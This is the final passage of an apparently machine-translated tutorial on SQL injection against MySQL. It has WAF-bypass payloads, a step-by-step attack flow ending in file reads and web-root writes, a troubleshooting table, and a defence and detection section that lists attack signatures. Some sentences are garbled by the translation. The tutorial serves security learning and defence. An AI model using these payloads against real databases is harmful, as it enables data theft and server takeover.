Understanding whether the user can write files, before even trying INTO OUTFILE:

sql
' UNION SELECT user FROM mysql.user WHERE file_priv='Y'-- -

It saves you from finding out only after the attempt that the database user does not have the privilege FILE, useless on many managed configurations (RDS, Cloud SQL) where this privilege is disabled by default.

Truncation for high bytes (0x80-0xFF). On some charset configurations (particularly with GBK, seen above), in addition to the bytes already mentioned, bytes in the 0x80-0xFF range can also “eat” the next character during conversion, with the same practical effect as the backslash trick already described: an escaped quote becomes part of a two-byte sequence and loses its meaning as a delimiter.

Numbers without digits , useful if the WAF filters out every numeric digit in the blind payload:

sql
' AND ASCII(SUBSTRING(@@version,true,true))>true-- -

In MySQL true e false they are aliases of 1 e 0, usable wherever that amount would be needed — here instead of 1 in SUBSTRING(stringa,1,1) and instead of 1 in the final confrontation (>1, not a number 1 (literal written in the payload). It doesn't solve everything: if you have to compare with a larger number of 0/1 (Eg. ASCII(...)>=100) you will still have to build it by addition (true+true+...) or with another function that does not require direct digits, because true/false they only cover 0 e 1.

Operational flow: from parameter to data #

  1. Find the parameter (GET, POST, cookie, header) and try ' e ''.
  2. Understand the context: string or number? Where does the query (WHERE, INSERT, ORDER BY) end?
  3. Choose the technique based on what you see: output (UNION), errors (error-based), differences (blind), time-only (time-based), nothing (out of band).
  4. Gather basic information: version(), database(), user().
  5. Enumerate: database → tables → columns → data.
  6. Check privileges: you can use FILEWhat value does it have? secure_file_priv?
  7. If you have FILE: read configuration file and evaluate writing to web root.
  8. If you are blocked by a WAF: change syntax (comments, hex, alternatives to information_schema) before changing technique.
  9. Documenta: request, payload, response and actual impact for the report.

How to defend yourself and how to detect the attack #

If you're working on the defense side, these are the points that close out almost everything you saw above.

Prevention

  • Parameterized queries (prepared statements) Everywhere: it's the only defense that solves the problem at its root. Manual escapes and blacklists are bypassed.
  • Minimum privileges: the application user must not be root and must not have FILE, SUPER no access to the database mysql.
  • setup secure_file_priv with a dedicated folder or disable it, so LOAD_FILE e INTO OUTFILE they can't touch the web root.
  • Do not show SQL errors to the user: logs server-side and displays a generic message. This kills the error-based behavior.
  • Usa utf8mb4 and set the encryption correctly in the connection, avoiding SET NAMES gbk.
  • Strict SQL mode active, to block silent truncation.
  • Block outgoing connections from the database server: this way out-of-band DNS and SMB don't work.
  • Il WAF is one more level, not a solution: it does not replace the correct code.

Detection

  • In web logs look for requests with UNION SELECT, information_schema, SLEEP(, BENCHMARK(, EXTRACTVALUE, UPDATEXML, /*!, INTO OUTFILE, LOAD_FILE.
  • In the MySQL logs look for slow and repetitive queries (typical of time-based) and queries that touch information_schema from the application user.
  • Alert on new or changed files in web root (a .php that appears out of nowhere) and on DNS requests to unknown domains from the database server.

Common problems and what to do #

SymptomProbable causeWhat to do
Error also with -- -Open parentheses or incorrect commentClose the parentheses ('), '))) or test # (%23)
“different number of columns”Wrong number of columnsRedo the count with ORDER BY
UNION without visible dataThe original query already returns a row, or the column is not printedUsa -1 as id and search for the visible column with 1,2,3
Type errorIncompatible column typesUsa NULL instead of value
Data cut1024 character limit GROUP_CONCATLIMIT line by line or json_arrayagg()
Error-based displays few charactersLimit of approximately 32 charactersBreak with SUBSTRING
Time-based with random delaysUnstable networkRepeat the test and increase the time SLEEP
LOAD_FILE returns NULLManca FILE, wrong path, secure_file_priv or permitsCheck privileges and @@secure_file_priv
The WAF blocks everythingFiltered words or charactersChange syntax, not technique (see WAF bypass)

FAQ #

What is a SQL injection on MySQL? #

It's a vulnerability in which user input ends up in an unchecked SQL query, allowing the attacker to execute commands of their choosing in the MySQL database. It can be used to read data, bypass a login, and, with the right privileges, read or write files on the server.

How do I know if a site uses MySQL? #

An SQL error that says "You have an error in your SQL syntax… MySQL" is the clearest sign. If you don't see any errors, try the typical functions: SLEEP(5) which only works on MySQL and MariaDB, or @@version e version(). The open port 3306 is also a clue (see MySQL Port 3306 ).

What is the difference between MySQL and MariaDB when it comes to injections? #

For the vast majority of payloads, nothing changes: SLEEP, UNION, information_schema, LOAD_FILE They work the same way. Some details vary with versions and recent features, so if a technique doesn't work, check the version before discarding it.

Why isn't my UNION showing anything? #

Most common causes: wrong number of columns, incompatible types (use NULL), the original query already returns one row (use -1 o 0 as id), or the column you print is not the one where you put the data. Start by checking with UNION SELECT 1,2,3 and look where the numbers appear.

-- it doesn't work, why? #

In MySQL the comment -- requires a space after the two dashes. Write -- -, or use # (which must be encoded in the URL %23).

Can I read files even without being the database root? #

Privilege is needed FILE, which is not the same as being root: a poorly configured application user can have it. The constraint of secure_file_priv and file permissions on disk.

What is the best technique to use? #

The one the target allows: UNION if you see the output, because it's the fastest; error-based if you see errors; blind boolean if the page changes; time-based as a last resort, because it's the slowest and noisiest. For a more in-depth look at the general theory, see Classic SQL Injection.

How do you prevent SQL injection on MySQL? #

With parameterized queries (prepared statements), which separate the SQL code from the data. Additionally, minimal privileges are required for the database user. secure_file_priv configured, SQL errors hidden from the user and a whitelist for column and table names (for example in ORDER BY). The WAF helps but it is not enough.

How do I practice legally? #

With authorized environments: DVWA and other vulnerable local labs, Hack The Box machines, PortSwigger Academy labs, and CTFs. Never test these payloads on sites you don't have written authorization for.


Conclusion #

A SQL injection on MySQL almost always starts from a single quote and can end up executing commands on the server. The techniques are always the same: understand how the app returns output, choose the right technique, enumerate with information_schema and evaluate the privileges to read or write files. The part that makes the difference is not storing the payloads but understanding because they work, so you know to adjust them when a filter blocks them or the version is different.

This guide follows the structure of the PayloadsAllTheThings MySQL page , enriched with explanations, version requirements, bypass techniques collected from industry blogs (websec.ca, RedForce, and others), and defenses. If you'd like to explore other injection families, check out LDAP Injection and XPath Injection.

#SQL Injection #MySQL #WAF Bypass #sqlmap

leave a message

I'm not a robot